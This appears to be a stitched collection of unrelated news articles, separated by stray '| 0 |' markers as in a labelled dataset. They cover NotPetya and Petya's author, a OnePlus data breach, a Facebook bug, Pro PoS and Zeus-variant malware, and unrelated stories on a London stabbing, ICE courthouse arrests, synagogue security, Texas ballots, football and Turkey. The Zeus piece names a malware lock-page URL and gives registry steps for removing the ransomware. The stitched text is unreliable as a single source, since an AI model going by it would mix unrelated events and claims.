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The author of original Petya ransomware is back.
After 6 months of silence, the author of the now infamous Petya ransomware appeared today on Twitter to help victims unlock their files encrypted by a new version of Petya, also known as NotPetya.
"We're back having a look in NotPetya," tweeted Janus, a name Petya creator previously chose for himself from a villain in James Bond. "Maybe it's crackable with our privkey. Please upload the first 1MB of an infected device, that would help."
This statement made by the Petya author suggests he may have held onto a master decryption key, which if it works for the new variant of Petya infected files, the victims would be able to decrypt their files locked in the recent cyber outcry.
Janus sold Petya as a Ransomware-as-a-Service (RaaS) to other hackers in March 2016, and like any regular ransomware, original Petya was designed to lock victim's computer, then return them when a ransom is paid.
This means anyone could launch the Petya ransomware attack with just the click of a button, encrypt anyone's system and demand a ransom to unlock it. If the victim pays, Janus gets a cut of the payment. But in December, he went silent.
However, on Tuesday, the computer systems of the nation's critical infrastructure and corporations' in Ukraine plus 64 other countries were struck by a global cyber attack, which was similar to the WannaCry outbreak that crippled tens of thousands of systems worldwide.
Initially, the new variant of Petya ransomware, NotPetya, was blamed for infecting systems worldwide, but later, the NotPetya story took an interesting turn.
Yesterday, it researchers found that NotPetya is not a ransomware, rather it's a wiper malware that wipes systems outright, destroying all records from the targeted systems.
NotPetya also uses the NSA's leaked Windows hacking exploit EternalBlue and EternalRomance to rapidly spread within a network, and uses WMIC and PSEXEC tools to remotely execute malware on the machines.
Experts even believe the real attack has been disguised to divert world's attention from a state-sponsored attack to a malware outbreak.
Petya's source code has never been leaked, but some researchers are still trying hard to reverse engineer it to find possible solutions.
Would this Really Help Victims?
Since Janus is examining the new code and even if his master key succeeds in decrypting victims' hard drive's master file table (MFT), it won't help much until researchers find a way to repair the MBR, which is wiped off by NotPetya without keeping any copy.
Tuesday's cyber outbreak is believed to be bigger than WannaCry, causing disasters to many critical infrastructures, including bricking computers at a Ukrainian power company, several banks in Ukraine, and the country's Kyiv Boryspil International Airport.
The NotPetya virus has also canceled surgeries at two Pittsburgh-area hospitals, hit computers at the pharmaceutical company Merck and the law firm DLA Piper, as well as infected computers at the Dutch shipping company A.P. Moller-Maersk forcing them to shut down some container terminals in seaports from Los Angeles to Mumbai.
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Story highlightsPolice are treating it as a "terrorist incident"One person suffers serious injuriesThe suspected attacker is in custody (CNN)A man stabbed three people at an east London Tube station Saturday before police subdued him with a stun gun and made an arrest, London's Metropolitan Police said.Police said they were treating the stabbing at Leytonstone station as a terrorist incident.One man sustained serious injuries not considered to be life-threatening, police said. Two others suffered minor injuries.The suspect was taken to a London police station.Police said they were called just after 7 p.m. to reports of a number of people stabbed at the station and a man threatening others with a knife.Read MoreCommander Richard Walton, who leads the Met's Counter Terrorism Command, said: "We are treating this as a terrorist incident.""I would urge the public to remain calm, but alert and vigilant. The threat from terrorism remains at severe, which means that a terrorist attack is highly likely."UK faces terrorist threatPolice released no information about the man's identity or possible motive, but the United Kingdom is facing stepped-up threats from ISIS -- especially after British fighter planes began flying sorties against ISIS targets in Syria this week.Intelligence obtained by European security agencies indicates ISIS is aiming to attack the United Kingdom as a follow-up to its attacks in Paris last month, a senior European counterterrorism official told CNN.The Tube, also called the London Underground, is the city's subway system. It has 270 stations on 11 lines that stretch a total of 250 miles.In 2005, suicide bombers attacked three Underground trains and a double-decker bus in a coordinated attack that left 52 people dead and more than 770 wounded. A British al Qaeda operative planned the bombings, according to internal al Qaeda documents that surfaced in 2012.Police officers investigate the tube station late Saturday, December 5.Videos show arrestVideos posted to YouTube and on Twitter purport to show the aftermath of Saturday's London stabbing. A large pool of blood is on the ground near the exit gates.Several show police confronting a man in the ticket area, near the exit, and yelling, "Drop it! Right now!"They fire a stun gun at the man, who is wearing a gray top, tan pants and a black hat with ear flaps. But the man continues pacing in front of the officers and even lunges at them.In one video, a woman can be heard saying, "I just want to get out of here." The scene is loud, with voices echoing throughout the station and police repeatedly shouting at people to get back.There is more shouting before a pop is heard, apparently from the stun gun, and the man falls to the ground. Someone watching shouts, "Yes! Stupid idiot!"Two police officers roll the man onto his stomach and handcuff him.A man in the crowd shouts, "You ain't no Muslim, bruv! You're no Muslim, bruv! You ain't no Muslim!"Hours later, the station was still roped off with blue and white police tape and police officers were standing guard outside. Investigators wearing protective clothing occasionally went in and out.Leytonstone is on the Central line, which runs roughly west to east through central London and into the northeastern suburbs.Transport for London, which runs the Underground, shut down a large part of the eastern Central line after the incident.CNN's Carol Jordan, Marilia Brocchetto, Kay Guerrero, Nicola Goulding and Nick Hunt contributed to this report. | 0 |
Chinese smartphone maker OnePlus has suffered a new data breach exposing personal and order information of an undisclosed number of its customers, likely, as a result of a vulnerability in its online store website.
The breach came to light after OnePlus started informing affected customers via email and published a brief FAQ page to disclose information about the security incident.
According to OnePlus, the company discovered the breach just last week after an unauthorized party accessed order information of its customers, including their names, contact numbers, emails, and shipping addresses.
"Last week while monitoring our systems, our security team discovered that some of our users' order information was accessed by an unauthorized party," the company said.
OnePlus also assured that not all customers were affected and that the attackers were not able to access any payment information, passwords, and associated accounts.
"Impacted users may receive spam and phishing emails as a result of this incident."
Though the company did not provide any detail of the vulnerability that attackers exploited to compromise its store, it did inspect the server thoroughly to ensure there aren't any other similar vulnerabilities.
"We took immediate steps to stop the intruder and reinforce security, making sure there are no similar vulnerabilities," OnePlus said. "Right now, we are working with the relevant authorities to further investigate this incident."
As a result of this breach, the company has also finally decided to launch an official bug bounty program by the end of December 2019, allowing researchers and hackers to get paid for responsibly reporting severe vulnerabilities before hackers could do any further damage.
"We are continually upgrading our security program - we are partnering with a world-renowned security platform next month, and will launch an official bug bounty program by the end of December," the company said.
Although the breach does not involve your OnePlus account password, you are still recommended to change the password for your account.
Affected OnePlus customers should also be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information.
This isn't the first time OnePlus has reported a data breach.
As The Hacker News reported back in January 2018, the company's website was hacked by an unknown attacker to steal credit card information belonging to up to 40,000 OnePlus customers.
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Facebook Page admins are publicly displayed only if admins have chosen to feature their profiles.
However, there are some situations where you might want to contact a Facebook page admin or want to find out who is the owner of a Facebook page.
Egyptian security researcher Mohamed A. Baset has discovered a severe information disclosure vulnerability in Facebook that could have allowed anyone to expose Facebook page administrator profiles, which is otherwise not supposed to be public information.
Baset claimed to have discovered the vulnerability in less than 3 minutes without any kind of testing or proof of concepts, or any other type of time-consuming processes.
In a blog post, Baset said he found the vulnerability, which he described as a "logical error," after receiving an invitation to like a particular Facebook page on which he had previously liked a post.
Facebook has introduced a feature for page admins wherein they can send Facebook invitations to users asking them if they wished to like their page after liking a post, and a few days later, these interacted users may receive an email reminding them of the invitation.
After Baset received one such email invite, he simply opened "show original" drop-down menu option in email. Looking at the email's source code, he noticed that it included the page administrator's name, admin ID and other details.
The researcher then immediately reported the issue to the Facebook Security Team through its Bugcrowd bug bounty program. The company acknowledged the bug and awarded Baset $2,500 for his findings.
Though Facebook has now patched this information disclosure issue, people who have already received one such page invitation can still find out admin details from the invitation emails.
"We were able to verify that under some circumstances page invitations sent to non-friends would inadvertently reveal the name of the page admin which sent them," Facebook said. "We've address the root cause here, and future emails will not contain that information."
Facebook has now patched this information disclosure issue.
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The point of Sale systems are the most tempting target for cyber crooks to steal your credit card information and with this Christmas, you need to be more careful while using your credit cards at retailers and grocery stores.
Here's why…
Cyber criminals are now selling a new powerful strain of Point of Sale (PoS) malware through underground forums.
Like several POS malware families discovered last year, including vSkimmer and BlackPOS, the new malware is also designed to steal payment card data from the infected POS systems and support TOR to hide its C&C (Command and Control) servers.
Pro PoS – Light Weight, Yet Powerful Malware
However, the new malware, dubbed "Pro PoS," packs more than just a PoS malware.
Pro PoS weighs only 76KB, implements rootkit functionalities, as well as mechanisms to avoid antivirus detection, according to threat intelligence firm InfoArmor.
What's even more interesting about this malware is…
Pro PoS integrates a polymorphic engine that lets the threat generate a different signature for each malware sample – a measure designed to foil security defences.
InfoArmor warned that cyber crooks were actively using the current version of Pro PoS Solution in an effort to target PoS systems used by large retailers and SMBs in the United States and Canada specifically.
Pro PoS Malware found in the Wild
The developers of the Pro PoS malware are believed to be hackers from Eastern Europe, according to the security firm.
On November 27 (Black Friday), researchers at InfoArmor noticed a significant increase in the price of the Pro PoS Solution, which was offered at $2,600 for a six-month licence.
The developers of Pro PoS have designed their malware in such a way that it infects the principal operating systems, including newer operating systems, used by the companies in the retail environment.
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(CNN)State officials who argue ICE officers undermine the justice system when they make arrests at courthouses just won a significant victory.US District Judge Jed S. Rakoff issued an order Wednesday blocking Immigration and Customs Enforcement from continuing the practice in New York state, calling the policy that led to an uptick in courthouse arrests there illegal.For years, state and local officials have argued that when ICE officers intercept undocumented immigrants at courthouses -- where they are making appearances as defendants, witnesses or victims -- it endangers public safety by making it harder to prosecute crimes. ICE has defended the arrests, saying apprehending people in controlled settings is safer than arresting them on the streets. Rakoff's order blocks the agency from conducting any civil arrests on the premises of New York state courthouses "as well as such arrests of anyone required to travel to a New York State courthouse as a party or witness to a lawsuit."Read MoreICE did not immediately respond to a request for comment.In a statement, New York Attorney General Letitia James described the ruling as a "victory over the Trump Administration's over-policing policies."The New York federal judge's order comes after the state and Brooklyn District Attorney Eric Gonzalez filed a lawsuit arguing that ICE's increasing arrests in and around courthouses were causing disruptions in the state's courts and the intimidation of parties and witnesses."For more than three years, I have been calling on ICE to stop its unconscionable practice of conducting immigration raids in and around our courthouses because they jeopardize public safety," Gonzalez said in a statement praising the judge's ruling."But the Trump Administration only escalated this unlawful and dangerous tactic, creating a chilling effect in immigrant communities, which discouraged victims and witnesses from reporting crimes and participating in the legal process."Rakoff sided with the New York officials."Courthouse civil arrests are not lawful, because they contravene the common-law privilege ... that protects courts and litigants against these intimidating and disrupting intrusions," he said.Last year, a federal judge in Massachusetts blocked ICE courthouse arrests there. An appeal in that case is pending. | 0 |
(CNN)When the survivors of last weekend's attack on a Texas synagogue talk about why they're alive today, they point to two factors. One is the work of law enforcement. The second is the training and preparation they got from the Secure Community Network, a nonprofit safety and training organization that is "working to build a protective, proactive shield over the North American Jewish community," as its national director and CEO told CNN."Those courses, that instruction, helped me to understand that you need to act in moments where your life is threatened," Rabbi Charlie Cytron-Walker told CNN just days after he and others launched a daring escape from a hostage-taker who'd earlier joined their worship service."I would not have had the courage, I would not have had the know-how or (known) what to do without that instruction." How Rabbi Charlie Cytron-Walker's training helped fellow hostages survive the Texas synagogue attackAs last Saturday's attack on Congregation Beth Israel approached its 11th hour, Cytron-Walker spotted a key moment -- just as he'd learned in training set up by the Secure Community Network, or SCN. When he felt the gunman's guard was down, the rabbi committed to action: He told the others to run, grabbed a chair and threw it at the assailant, giving the hostages enough time to escape with their lives. Read More"We weren't released or freed," Jeffrey Cohen, vice president of the synagogue's board of trustees, wrote on Facebook. "We escaped because we had training from the Secure Community Network on what to do in the event of an active shooter." And it's not just active shooter drills. SCN has built a comprehensive security, training and intelligence operation designed to protect Jewish communities across North America -- an operation that has proven its worth time and again amid a rise in anti-Semitic incidents, from vandalism to a gunman's siege."I believe that the work that we do and the manner in which we do it will make a difference in the lives of Jewish Americans," SCN National Director and CEO Michael Masters told CNN, "to be able to participate freely in the practice of their religion and their culture and their traditions." To that end, SCN helps Jewish institutions -- synagogues, community centers, day schools or assisted living facilities -- implement tools like security cameras and alarm systems to keep them safe while still open and welcoming. It also provides or supports local security directors -- many with deep FBI or other law enforcement experience -- to monitor safety protocols and threats daily and to train community members to confront or escape deadly threats.The problem, he said, is a too-common thread of the "narrative of the 3,000-year history of the Jewish people.""Almost everywhere we have existed or sought to make a life, there have been those that have not wanted us there or not wanted us to exist," Masters said, adding that's true of other faith traditions as well. "The fact that it exists in the United States at this time is deplorable."Building SCN to face down those targeted threats -- broadly, systematically and head-on -- "is about preserving not just who we are as a Jewish people," he said. "It's about also preserving, in my opinion, who we are as Americans and what our country stands for."Added Masters: "As a father, the idea that my children might ever question -- or as a parent, I might ever question -- whether they should, could or can identify as Jewish or participate in Jewish life because of safety and security concerns is not one that should exist in the United States of America -- certainly not in 2022."Secure Community Network National Director Michael Masters stands in SCN's Jewish Security Operations Command Center in Chicago. A critical nudge at the Tree of Life synagogueSCN counts among its ranks Brad Orsini, who spent nearly three decades in the FBI before becoming a security director for the Jewish Federation of Greater Pittsburgh in 2017. The role was like being the local FBI agent for the Jewish community, he told CNN.It was early September 2018 when Orsini huddled for training with members of the Tree of Life synagogue, he recalled. Its rabbi, Jeffrey Myers, told Orsini that in accordance with his Jewish faith, he did not carry his cell phone on the Sabbath. That prompted Orsini to open a "hard conversation" with the rabbi.Brad Orsini was the security director for the Jewish Federation of Greater Pittsburgh at the time of the shooting at Tree of Life synagogue. Today he's the senior national security adviser for Secure Community Network."I said this all the time -- and I don't say it anymore because it came true and this bothers me to this day," Orsini told CNN. "I would say, 'What do you do, how do we combat somebody that walks into our synagogue with an AR-15? Rabbi, we need to have someone with cell phones on.'"The conversation changed the rabbi's mind, Orsini said. Mere weeks later, a gunman stormed the Tree of Life synagogue during Shabbat services and opened fire, killing 11 people -- most of them elderly -- in the deadliest anti-Semitic attack in US history. As gunfire erupted that day, the first call to 911 was made by Myers. Orsini, who's been credited by Tree of Life congregants like Steve Weiss for their survival, joined SCN the next year. He's now the organization's senior national security adviser, helping communities across the country employ the kind of tough lessons and security enhancements he enacted in Pittsburgh. "We want it engrained, especially in communities that are targeted like the Jewish community," Orsini said. "We owe it to our community to educate the community, to give them the tools to save themselves prior to law enforcement getting there." JUST WATCHEDRabbi: It feels like 'open hunting season' on Jews (2019)ReplayMore Videos ...MUST WATCHRabbi: It feels like 'open hunting season' on Jews (2019) 02:38From security cameras to 'Run, Hide, Fight'SCN was founded in the early 2000s in response to a series of threats against the Jewish community -- mostly by foreign terrorist organizations, Masters told CNN. But it's only been in recent years, after Masters took over in 2017, that it has evolved into a fully fledged security operation, Orsini said.Its mission relies on five pillars, Masters said: Intelligence and information sharing; physical security solutions and assessments; training and exercise; coordinating with local, state and federal law enforcement; and incident response and crisis management. New details emerge about hostage-taker's behavior in days before Texas synagogue standoffThe work is tailored by community. "Every city's a little different, every city has to work to their own culture," Orsini said. "However, the basic tenets of a good program really remain the same." SCN works with regional Jewish federations to embed its security directors and advisers in places with significant Jewish populations. Elsewhere, it partners to support local security teams. Other SCN experts oversee the security of smaller Jewish communities across wide zones or offer support to swathes of the North American network. SCN now has more than 50 security directors like Phil Niedringhaus, whose coverage area is Colorado. He relies on expertise and connections built over a career in law enforcement -- including 29 years with the FBI -- to provide some 105 Jewish organizations with best practices standardized by SCN. They include threat vulnerability assessments, SCN security experts told CNN. Advisers visit a site like a synagogue and work with its leaders to see what kind of security is already in place and what gaps can be filled: Are there cameras? Does the organization have a relationship with local law enforcement? Has the congregation gotten training?That last piece may be the most important, with three key tenets of its own, Orsini said: Trainees learn situational awareness to help identify potential threats; get Countering Active Threat Training, which includes the concept of "Run, Hide, Fight" and committing to action; and learn to "Stop the Bleed" to triage wounded or injured victims. Another key component is coordinating with law enforcement at all levels before, during and after a crisis, Orsini said. On Sunday -- just hours after the hostage attack at the synagogue in Colleyville, Texas -- SCN convened a webinar for hundreds of Jewish community stakeholders, US Homeland Security officials and senior FBI personnel to talk about emergency plans.Short of mass casualty events, SCN experts also might deal with vandalism at a synagogue or anti-Semitic fliers, sharing intelligence with local police and with SCN's Operations Center and Duty Desk in Chicago, which are staffed by intelligence analysts around the clock who can share credible threats with other agencies.What it was like inside the Colleyville, Texas, synagogue during the 11-hour hostage standoffWhen someone attacks the Jewish community, SCN notifies its directors across the country, keeping them updated on the latest information. Then, directors can coordinate increased patrols with local law enforcement and field calls from local Jewish leaders, offering advice or reassurance that the attack -- like last weekend's in Colleyville -- looks to be an isolated incident. Ultimately SCN's goal is to create uniformity in security practices in Jewish spaces across the country, Masters said, in the same way Americans have spent decades learning uniform fire safety practices like "stop, drop and roll."It's especially important, he said, because members of the Jewish community are "not static" -- a Jewish child might grow up attending a day school in Chicago, go to summer camp in Wisconsin, go to college in New Orleans or get a job in Washington, DC. The security measures should be the same everywhere, Masters said."Fear is paralyzing," he said. "Empowerment is mobilizing."Balancing security with a welcoming faithWhen Rabbi Tuvia Brander was in rabbinical school, he never took a course on security."I can tell you about Talmud, I can tell you about the Bible, I can tell you about Jewish law and Jewish history, and interface with other religions," he said. "But I'm not a security expert."Still, soon after he became the mara d'atra -- a spiritual leader -- of Young Israel of West Hartford in Connecticut, Brander on his own formed a committee to assess security. While he hoped the Centrist Orthodox congregation would not face a threat, he wanted to be prepared. SCN's community security director is the "go-to person" for security, says Rabbi Tuvia Brander, allowing him to focus on being his congregation's spiritual leader.His team had conversations with local police and fire departments -- just as all the synagogues around them were doing. And while their local partners were great, Brander said, the planning was neither effective nor efficient. "When we wanted to give training to congregants in the past about 'Run, Hide, Fight,' stuff like that ... it was only us, it was whatever our institutional capacity was," he said. Then last year, the Jewish Federation of Greater Hartford hired an SCN community security director, "who can take all the expertise, the wisdom, the training and the vast and deep resources of the Secure Community Network and institutionalize it in our community," Brander said. That director is now the "go-to person" for security, he said, streamlining the process and allowing Brander to focus more on the work of a rabbi, which now includes finding a balance between keeping his congregation safe and ensuring it remains true to its identity and welcoming to the community outside its walls. "Nobody wants to go to worship in a fortress," said Niedringhaus, the son of a Lutheran pastor, "because it doesn't blend well for the mission of the organization or being part of the community or neighborhood you're in."To that end, Brander's congregation has what he described as "greeter guards" who are familiar with the congregation and can offer members a smile and a "Shabbat Shalom" -- while also poised to identify suspicious activity.Rabbi Scott Roland says faith and security can go hand-in-hand."Sometimes people frame this as either/or: Can we be secure, and then we have to give up on the welcoming? What we really try to do is to double down on both," Brander said. Concerns have been raised -- though never hard pushback -- that security measures could make synagogues less welcoming, said Rabbi Scott Roland of Congregation Shaarey Tikvah near Cleveland, where the Jewish federation has its own skilled security experts who often partner with SCN.But in fact, faith and security can go hand-in-hand, he said: "We can serve God and one another and also do so in safety and security.""Our tradition and our Torah implores us to choose life, to do what we can do to protect life," Roland said. "And so the notion of securing our buildings and the safety of our communities is not separate from our religious lives. It's very much an aspect of our religious lives, though we wish it didn't have to be." | 0 |
(CNN)President Donald Trump is a lot like a stand-up comedian, Trevor Noah said Wednesday -- he "connects with audiences in the same way."Speaking at "The Messy Truth," a town hall series hosted by CNN commentator Van Jones, "The Daily Show" host analyzed how Trump interacts with a crowd.Noah cited the tribute Trump made to Carryn Owens, widow of slain Navy SEAL "Ryan" Owens, during a joint address to Congress. Jones earlier drew criticism for calling it "one of the most extraordinary moments you have ever seen in American politics.""During that moment with Ryan's wife, Trump even told a joke and people laughed, people connected," Noah said. "When you watched Trump, and what you said, my first instinct was, come again, man? But then, when I watched it, I realized what you were saying. The honest truth is that he became presidential in that moment. What's not scary is that he became presidential in that moment. I think what's scary is that it is that easy to become presidential." Van Jones on Trump: 'He became President of the United States in that moment, period'Jones, a staunch critic of Trump, said he did not regret his remarks. Read More"It was an emotional moment," he said. "I am proud of myself that I can still get teary-eyed even during a Trump speech."But Jones wanted to make it clear that he still opposes the President. JUST WATCHEDVan Jones: There is a danger normalizing Trump ReplayMore Videos ...MUST WATCHVan Jones: There is a danger normalizing Trump 02:43"I'm still afraid of Trump," Jones said. "When I said he was becoming presidential, that wasn't just a compliment, that was a warning."Jones said he does understand why people were upset and disappointed with his comments, but warned of the dangers of demonizing your political opponents."There's a danger that we all become fear-based and fear-driven and we give in 100% to this whole us-against-them hysteria, that we close up our hearts, we just refuse to ever again take the risk that maybe, maybe there's still some good in some of the people we disagree with. If that happens, a form of Trumpism has been normalized in our hearts, in our hearts. And as a father and a human being, that worries me, too.""The Messy Truth" is a trademark of Magic Labs Media, LLC. All rights reserved. | 0 |
(CNN)Thousands of mail-in ballots were rejected in Texas' most populous county for the March primary because they did not meet requirements set by the state's new voting law passed last year by the Republican-led state legislature, according to Houston-area election officials. Harris County election officials on Friday announced that of the 36,878 mail ballots received for the March 1 primary, a total of 6,888, or 19%, were rejected "as a direct result of Senate Bill 1." Under the law, voters had to include a Texas identification number or a partial Social Security number when returning their mail-in ballots. However, the identification number used must match one of the numbers on the voter's registration record. Officials noted that the mail ballots were flagged for rejection "specifically due to ID issues."The rejection rate is a significant jump from previous years. In 2018, Harris County rejected only 135 mail-in ballots of a total of 48,473 received, officials said in a news release. For comparison, fewer than 1% of mail-in ballots -- or about 8,300 ballots statewide -- were rejected in Texas in the 2020 election, according to the US Election Assistance Commission. Read MoreThe Harris County election office was also inundated with calls from voters due to the confusion and frustration surrounding the new ID requirements. Officials said that since January, the call center received 8,000 calls from people asking for help navigating the voting process -- which was higher than the monthly call volume in the lead up to the November 2020 and November 2021 elections. Officials said the elections office doubled its staff in order to help voters navigate the new rules, including sending voters a letter on how to fix their ballots so they would be counted. "Nearly 20% of votes cast by mail were not counted as a result of SB1. That's 6,888 registered voters who were silenced. These restrictive voting laws continue to undermine our efforts to expand voter access and will have repercussions for many elections to come," said Isabel Longoria, Harris County elections administrator.Earlier this week, Longoria, who has overseen elections in the county since 2020, announced her resignation amid a mail-in ballot counting discrepancy in Election Night results. She said her resignation would be effective July 1.Meanwhile, in Travis County, home to the state capital of Austin, the rejection rate was 8%, or 948 mail-in ballots were rejected of a total 10,656, according to Victoria Hinojosa, a spokeswoman in the election office. Hinojosa previously told CNN that the county's rejection rate in 2018 was about 2%. Because of the rejection rates, the office of Secretary of State John Scott said it would focus on voter education outreach efforts on the new mail-in voting requirements, spokesman Sam Taylor said."While in years past we have focused our voter education efforts on in-person ID requirements, this year we are also devoting a significant portion of our voter education campaign to enhancing awareness of the new mail-in ballot ID requirements," Taylor said. "We are confident we have the data and research we need to apply any lessons learned during the primary to an even more robust voter education campaign heading into the November General Election."Following reports of the high rejection rates, voting rights advocates called again for federal voting rights legislation. "The federal Voting Rights Act must be restored to ensure that every voter in Texas ... has equal access to the ballot box and is protected from unfair laws and practices that make it harder for people to vote," said Grace Chimene, president of the League of Women Voters of Texas, in a statement to CNN. "It is a tragedy for our democracy when state leaders choose to support a partisan agenda instead of voters when writing state election law resulting in a massive rejection of vote-by-mail ballots," Chimene added.This story has been updated with additional details Friday. | 0 |
Story highlightsManchester City stay five points clear after Saturday's 12th round of EPL matchesCity end third-placed Newcastle's unbeaten start with a 3-1 home victorySecond-placed Manchester United stay in touch with a 1-0 win at SwanseaRobin van Persie's double against Norwich puts Arsenal in sixth placeManchester City may have announced losses of more than $300 million for last season, but the English club's massive investment in players is paying off on the pitch.Roberto Mancini's men remained five points clear at the top of the Premier League on Saturday after ending the unbeaten run of third-placed Newcastle with a 3-1 home victory.That briefly put City eight points clear, but second-placed defending champions Manchester United stayed in touch with a 1-0 win at Swansea in the late kickoff, halting the Welsh side's unbeaten home record.While City's record deficit casts doubt over the club's ability to adhere to UEFA's financial fairplay rules, Saturday's win -- the 11th in 12 rounds -- was a timely tune-up for the midweek trip to Italy.Mario Balotelli coolly sidefooted in a 41st-minute penalty after Ryan Taylor handled the ball, then the Newcastle fullback's error allowed City defender Micah Richards to double the lead before halftime.Sergio Aguero came off the bench to net a 72nd-minute penalty after Richards was fouled by Hatem Ben Arfa, having also scored for Argentina in Tuesday's World Cup qualifying win against Colombia.Dan Gosling scored a late consolation for the Magpies, who will lose third place on goal difference if Chelsea win at home to seventh-placed Liverpool on Sunday. Tottenham, in fifth with two games in hand, can also move onto 25 points with victory against visiting Aston Villa on Monday.City's focus is now Tuesday's Champions League trip to Napoli, which will have a big bearing on the club's hopes of progressing to the knockout stage of Europe's top competition."The feeling is good for Napoli. The team has improved a lot in the Champions League," Mancini said. "But I know what we will find in Naples, they are playing very well at home."If we want to win there, then we will have to play better than this afternoon."Manchester United will also need to improve at home to Portuguese side Benfica on Tuesday after battling to beat promoted Swansea, with striker Javier Hernandez scoring a close-range winner in the 11th minute after a low cross by veteran Ryan Giggs."They have a great home record so we had to make sure we defended well, and I think we did that," manager Alex Ferguson said."We maybe should have done better with the chances we did get on the counter-attack and near the end we could have had a couple of chances, but it was a good result."Arsenal moved up to sixth, also on 22 points but having played two more matches than London rivals Spurs, after winning 2-1 at promoted Norwich, who dropped to 11th.Dutch striker Robin Van Persie continued his hot scoring run with a double that took him to a league-leading 13 this season after Steve Morison gave Norwich a 16th-minute advantage following poor defending by Germany international Per Mertesacker.Queens Park Rangers moved up to ninth with a 3-2 win at Stoke, as striker Heidar Helguson scored twice before the home side were denied a late penalty chance to equalize when Joey Barton brought down Robert Huth but no foul was given.West Brom claimed 10th place with a 2-1 win that left Bolton in the bottom three, while Everton moved up to 12th after beating visiting Wolverhampton by the same score.Sunderland and Fulham joined Wolves on 11 points after a 0-0 draw, with all three clubs hovering hovering above the relegation zone.The bottom two teams Wigan and Blackburn Rovers drew 3-3 in a fiery derby that ended with Yakubu leveling with a penalty nine minutes into time added on. It was the Nigerian striker's second goal of the day for 10-man Blackburn, having netted the opener after only 68 seconds -- his 100th in the English league.Rovers had David Dunn sent off for a second yellow card three minutes after the break, but Junior Hoilett made it 2-2 on the hour despite teammate Morten Gamst Pedersen appearing to pass the ball to himself from a corner. | 0 |
Story highlightsDraft bill would have applied to 3,000 men already in prisonComes as EU holds debate on Turkey's membership (CNN)Turkey has withdrawn a controversial bill which would have pardoned men convicted of child rape, if they married the victim.The bill, which was proposed by Turkey's ruling Justice and Development Party (AKP), sparked protests across the country and prompted fears from the United Nations about child sex abuse.Prime Minister Binali Yildirim has now sent the bill to a parliamentary subcommittee to be reworked, state-run news agency Anadolu said Tuesday. The Turkish government said the bill would have applied to at least 3,000 men already in prison, Anadolu added.JUST WATCHEDTurks react to Donald Trump's winReplayMore Videos ...MUST WATCHTurks react to Donald Trump's win 02:34But the United Nations said in a statement that the bill would "would create a perception of impunity in favor of perpetrators of such child rights violations. Read More"In addition, it would increase the risk for further victimization of the child if she marries the perpetrator of the sexual abuse."Following fierce criticism from opposition parties and the public, Turkish President Recep Tayyip Erdogan advised caution in moving forward with the bill."It is obvious that the debate that started during the negotiations of the draft law necessitates reconsideration of the issue, which leads to very different reactions, criticisms and proposals in the public opinion," he told Anadolu.The legal age of sexual consent in Turkey is 18, but the practice of child marriage is widespread, according to UNICEF. Tensions with Europe JUST WATCHEDMedia and military targeted in TurkeyReplayMore Videos ...MUST WATCHMedia and military targeted in Turkey 02:16Opposition to the proposed bill comes as the European Parliament meets Tuesday to discuss whether to freeze talks on Turkey joining the European Union, with a final vote due Thursday. The outcome looks grim for Turkey. The attempted coup in July -- and subsequent crackdown led by Erdogan -- has greatly strained Turkey's relations with the EU.Turkey has crossed the line of what is acceptable for an EU candidate-countryKati Piri "Turkey has crossed the line of what is acceptable for an EU candidate-country," rapporteur for Turkey at the European Parliament, Kati Piri, told CNN in a statement ahead of the debate. "(This involves) the arrest of 10 Turkish opposition MPs, the jailing of 142 journalists critical to the ruling government and the imprisonment of tens of thousands of citizens without legal proceeding.""We should maintain a dialogue, but under the current situation it is not credible to continue the talks on EU membership."Following the failed military coup, Erdogan also told CNN he would approve reinstating the death penalty if lawmakers backed the measure in parliament.If Turkey brought back capital punishment, it wouldn't be joining the European Union anytime soon, according to EU foreign policy chief Federica Mogherini.Many Syrian refugees attempting to reach Europe make the perilous sea journey from Turkey to Greece. Added to this is increased tensions over the refugee crisis. In August, Turkish officials threatened to stop implementing the deal Turkey signed in March to take back migrants who had crossed into Greece.Turkey's foreign minister explicitly linked the viability of the deal with the EU fulfilling its pledge to grant Turks visa-free travel by October. In response, German Vice Chancellor Sigmar Gabriel spoke of "visa blackmail."What are Erdogan's priorities? JUST WATCHEDTurkey: A country in turmoilReplayMore Videos ...MUST WATCHTurkey: A country in turmoil 01:09Turkey first began EU accession negotiations in 2005 -- but is it still top of Erdogan's list in 2016? "Erdogan is far more focused on Turkish domestic issues and securing more power for himself, than he is about EU membership and securing visa-free travel for Turks throughout the EU," explained CNN International Correspondent Will Ripley.Added to this, the country has also suffered an increasing number of terror attacks in recent years from ISIS and the Kurdistan Workers' Party (PKK), both of which have strongholds in neighboring Syria. On Monday, Erdogan called for an overhaul of the United Nations, saying its Security Council had failed to address the Syria conflict and other global challenges.The Turkish President gave an unabashed speech in Istanbul at the closing of a NATO meeting, where he slammed the Security Council's concentration of power, reiterating that "the world is bigger than five."Thousands of security personnel dismissed JUST WATCHEDCrackdown on protests in TurkeyReplayMore Videos ...MUST WATCHCrackdown on protests in Turkey 00:57For now, Turkey's post-attempted coup crackdown continues. Tuesday, the government dismissed almost 10,000 security personnel -- including some 7,586 police officers -- for alleged connections to outlawed organizations, according to Anadolu. In addition to the security dismissals, 550 non-governmental organizations, 19 private health institutions and nine media organizations have also been shut down, said Anadolu.In the first month following the attempted coup, more than 35,000 people were detained and 17,000 arrested. It is unclear how many have been held in total.CNN's Joel Williams, Will Ripley and Angela Dewan contributed to this report | 0 |
Zeus 2.x variant includes ransomware features
Cybercriminals are getting more sophisticated, as reports are coming in that hacker coders have successfully merged a ransom trojan with a Zeus malware successor called Citadel. A notorious malware platform targeting financial information has added a new trick to its portfolio a digital version of hijack and ransom.
F-Secure researchers have recently spotted a new Zeus 2.x variant that includes a ransomware feature. Basically a customised version of Zeus, the malware aims to provide better support for its offshoot of the Zeus code base, whilst at the same time allowing clients to vote on feature requests and code their own modules for the crimeware platform.
Net-security explains the working of this Zeus 2.x variant,that Once this particular piece of malware is executed, it first opens Internet Explorer and points it towards a specific URL : lex.creativesandboxs.com/locker/lock.php. Simultaneously, the users are blocked from doing anything on their computer.
Unlocking can therefore be performed quite easily with a registry editor:
1. boot the system in safe mode
2. add a new key named syscheck under HKEY_CURRENT_USER
3. create a new DWORD value under the syscheck key
4. set the name of the new DWORD value to Checked
5. set the data for the Checked value to 1
6. reboot
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A Security expert at Italian security firm AIR Sicurezza Informatica has claimed that Google's servers vulnerability allows a hacker to exploit the search giant's bandwidth to launch a distributed denial-of-service (DDoS) attack on any targeted server.
